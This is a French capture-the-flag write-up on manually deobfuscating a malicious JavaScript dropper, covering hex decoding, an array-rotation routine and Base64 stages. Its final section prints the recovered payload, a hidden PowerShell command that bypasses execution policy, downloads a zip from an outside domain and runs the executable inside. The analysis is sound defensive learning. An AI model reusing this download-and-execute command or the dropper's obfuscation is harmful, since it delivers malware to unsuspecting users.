← Retour à la liste des WriteUps

Forensic Expert en obfuscation JS 80

Avatar de indyteo

indyteo

Dans ce challenge, on a à notre disposition un fichier JS, mais il est malheureusement obfusqué. On sait qu'il est censé contacter un domaine, mais on nous met en garde : il ne faut surtout pas exécuter ce code ou aller sur le domaine trouvé. On pense alors immédiatement à un programme malveillant, de type virus. Voici le code :

Télécharger le fichier source (NE SURTOUT PAS EXÉCUTER !)

En l'ouvrant avec un IDE (VisualStudio Code de mon côté) et en forçant la coloration syntaxique sur du JS, on ne voit pas grand chose à première vue, ou du moins on ne comprend pas vraiment, puisqu'il est obfusqué. Et en plus d'être obfusqué, il est minifié, donc on va premièrement le passer dans un outil pour lui redonner une beauté, comme https://beautifier.io/ par exemple.

Un extrait du code source obfusqué

Il existe probablement des outils en ligne pour faire ce genre de chose, mais comme on aime bien faire les choses d'abord à la main pour bien comprendre le pincipe, c'est parti. On ne va pas revenir sur les bases du JS, mais on expliquera les simplifications effectuées grâce à ça. On suppose (et on espère) que votre IDE favori dispose d'un Ctrl + F et d'une fonctionnalité pour remplacer toutes les occurrences du terme, parce que à la main oui, mais pas trop non plus...

Bon, à ce moment là, il ne faut pas paniquer et y aller par étape. On se débarrasse premièrement des noms à rallonge et en hexadécimal, en mettant des var1, var2, etc... On arrive à quelque choes de déjà un peu moins barbare, mais c'est toujours pas le pied. On peut aussi simplifier lorsqu'il y a des substitutions de variables, pour revenir à la référence première.

Remplacement des noms à rallonge

Notre IDE nous indique que var8 (en paramètre de la fonction var6) n'est pas utilisé, nous pouvons le supprimer. La deuxième chose qu'on constate est l'utilisation de l'hexadécimal, rendant incompréhensible les caractères et entiers utilisés. On va remplacer ces caractères avec des choses plus lisibles :

let js = fs.readFileSync("challenge.js.txt", {encoding: "utf8"})
let decode = it => String.fromCharCode(parseInt(it, 16)) // Décode un string hexadécimal en caractère depuis la table ASCII
let escape = it => (it === "'" ? "\\'" : it)
let out = js.replace(/\\x([0-9a-f]+)/ig, it => escape(decode(it.substring(2)))) // Remplace les \xNN
out = out.replace(/0x([0-9a-f]+)/ig, it => parseInt(it.substring(2), 16)) // Remplace les 0xNN
fs.writeFileSync("chall2.js.txt", out, {encoding: "utf8"})
Remplacement de l'hexadécimal Remplacement de l'hexadécimal

On se rend compte que notre var1 contient des morceaux de texte qui deviennent par moment intelligible : '_utf8_deco', 'tiliser un', 'version d\'', etc... Ceci devient particulièrement intéressant au niveau de var2 où on comprend vite qu'il va reconstituer les phrases complètes ! On s'attend par exemple à ce que var6(653) fasse référence à 'tiliser un', pour que 'Veuillez u' + var6(653) nous donne "Veuillez utiliser un...". On examine alors rapidement le code de la fonction var6 :

function var6(var7) {
	var7 = var7 - 393; // On enlève 393 à la valeur
	var var115 = var1[var7]; // On utilise comme indice dans var1
	return var115; // On retourne le résultat
}

// Plus simplement, ça donne :
function var6(i) {
	return var1[i - 393];
}

On voit bien que ce code n'est pas dangereux et peut être exécuté sans risque dans notre console NodeJS pour l'utiliser. On essaye alors de récupérer le tableau var2, cependant en copiant la ligne dans notre console, nous observons que le résultat ne ressemble strictement à rien. La première ligne donne : Veuillez uNac2xtUndsQXQobiArIDUpIHsNCiAgIChyIDwgMT d'ouvrir IjsNCiAgICp3QlhZbGND, ce qui n'est pas ce à quoi nous nous attendions. Il y a un morceau de code que nous avions laissé de codé qui mérite alors d'être examiné de plus près :

(function(var10, var11) { // Fonction anonyme appelée immédiatement avec var1 et 393987 en paramètre
	while (!![]) { // La valeur booléenne d'un tableau est toujours vrai, donc avec la double négation c'est une boucle infinie
		try {
			var var12 = -parseInt(var6(793)) * -parseInt(var6(524)) + -parseInt(var6(673)) + -parseInt(var6(654)) * parseInt(var6(405)) + parseInt(var6(742)) + -parseInt(var6(515)) + -parseInt(var6(600)) + -parseInt(var6(814)) * -parseInt(var6(495));
			if (var12 === var11) break; // On s'arrête si la valeur est trouvée
			else var10['push'](var10['shift']()); // Sinon on fait une rotation (shift retire au début et push ajoute à la fin)
		} catch (_0x451b9a) { // L'erreur intervient avec les valeurs non numériques dans le parseInt(...), même traitement
			var10['push'](var10['shift']());
		}
	}
}(var1, 393987));

// Plus simplement, ça donne :
while (true) {
    try {
        var var12 = -parseInt(var6(793)) * -parseInt(var6(524)) + -parseInt(var6(673)) + -parseInt(var6(654)) * parseInt(var6(405)) + parseInt(var6(742)) + -parseInt(var6(515)) + -parseInt(var6(600)) + -parseInt(var6(814)) * -parseInt(var6(495));
        if (var12 === 393987)
            break;
        else
            var1.push(var1.shift());
    } catch (e) {
        var1.push(var1.shift());
    }
}

On comprend alors pourquoi nos résultats n'étaient pas concluant auparavant ! Ce code effectue des rotations dans le tableau var1 jusqu'à trouver une valeur particulière. Après l'avoir exécuté, notre tableau est modifié, et on peut reconstruire notre var2, cette fois-ci correctement on l'espère.

Bingo, la première ligne est tout de suite plus parlante : Veuillez utiliser une dernier version d'adobe afin d'ouvrir votre fichier. On s'intéresse désormais à ce qui vient après, et on voit assez vite qu'il contient principalement des fonctions de décodage de base 64. Le résultat qui semble être produit parait intéressant, et surtout intriguant. Voyant que le code n'est pas risqué, on l'exécute et on regarde la sortie pour comprendre à quoi ça sert. Pour cela, on enregistre le contenu de notre variable (var ppppp = (Base64[var2[12]](var2[11]));) dans un fichier, que voici :

La sortie du script précédent

Contre toute attente, on récupère un nouveau script, mais pas obfusqué cette fois ci, enfin presque. Par sécurité je commente immédiatement les lignes que je comprends pas trop et qui paraissent louches (var WshShell = new ActiveXObject("WScript.Shell"); ne me semble pas très accueillant, et WshShell.Run(toName, 1, false); encore moins). On retrouve des similitudes avec notre élément Base64 du script précédent, une chaîne encore encodée, et une fonction de décodage qui enregistre un fichier. Après nettoyage (mise en commentaire des lignes d'exécution, et contrôle du nom du fichier de sortie), on l'exécute dans un environnement JavaScript de VisualStudio Code, et on regarde le fichier créé.

powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden Import-Module BitsTransfer; if (Test-Path %appdata%\abd)  {exist}; Start-BitsTransfer 'http://www.energym63.com/10451372/putty2.zip' -Destination '%appdata%\putty2.zip'; Start-Sleep -s 2; $shell = New-Object -ComObject Shell.Application;$zipFile = $shell.NameSpace('%appdata%\putty2.zip'); MkDir('%appdata%\base'); $destinationFolder = $shell.NameSpace('%appdata%\base');$copyFlags += 0x10; $destinationFolder.CopyHere($zipFile.Items(), $copyFlags); Start-Process '%appdata%\base\putty.exe'; New-Item c:\programdata\abd -ItemType File

Ouf, on a bien fait de désactiver l'exécution de ce truc, car il y a peu de chance qu'un PowerShell ouvert comme ça après tant d'effort nous dise simplement bonjour... Dans tous les cas, notre étude s'arrête ici (et heureusement, parce que pour comprendre ce que fait cette commande, c'est autre chose), et on a notre domaine contacté, qui est notre flag : CTFIUT{www.energym63.com}

Voilà, c'était une bonne expérience de faire ceci à la main, mais bon, on comprend très vite pourquoi des outils existent, alors utilisez-les.

← Retour à la liste des WriteUps